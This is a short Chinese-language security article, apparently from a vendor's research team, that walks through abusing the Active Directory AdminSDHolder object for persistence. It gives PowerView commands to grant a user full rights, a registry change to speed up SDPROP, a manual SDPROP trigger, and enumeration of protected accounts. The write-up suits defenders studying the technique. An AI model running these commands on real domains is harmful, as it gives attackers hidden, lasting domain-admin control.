AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板。Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的。
本文由锦行科技的安全研究团队提供,旨在从攻击者的视角还原AdminSDHolder的渗透过程。
配置
1、添加:
在域控上操作AdminSDHolder对象的ACL
添加用户test对AdminSDHolder的完全访问权限
powerview:
Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity test -Rights All
*由于SDPROP的原因,默认等待60分钟之后生效
2、验证:
Powerview:
Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match “S-1-5-21-363618500-3918876104-3124729890-1139”} | select objectdn,ActiveDirectoryRights |sort -Unique
ADSI:
3、删除:
Remove-DomainObjectAcl -TargetSearchBase “LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com” -PrincipalIdentity test -Rights All -Verbose
SUPROP
为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务。当修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL。
1、注册表SDPROP运营频率:
修改成等待60秒
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
2、手动触发SDPROP进程:
运行->LDP.exe->菜单>连接->连接->服务器输入当前的机器名,端口默认为389
然后连接->绑定凭证->作为当前登录的用户绑定->然后浏览->修改,在属性选项卡中输入FixUpInheritance。在值字段中输入Yes。操作选择添加,然后单击输入,最后运行即可,运行。
利用场景
已经获得域控权限,利用AdminSDHolder来进行权限维持,或者寻找受保护AD账户为目标。
枚举受保护AD账户
Get-NetUser -AdminCount |select samaccountname
登录test用户,可以看到test非域管组,却能执行域管权限的命令。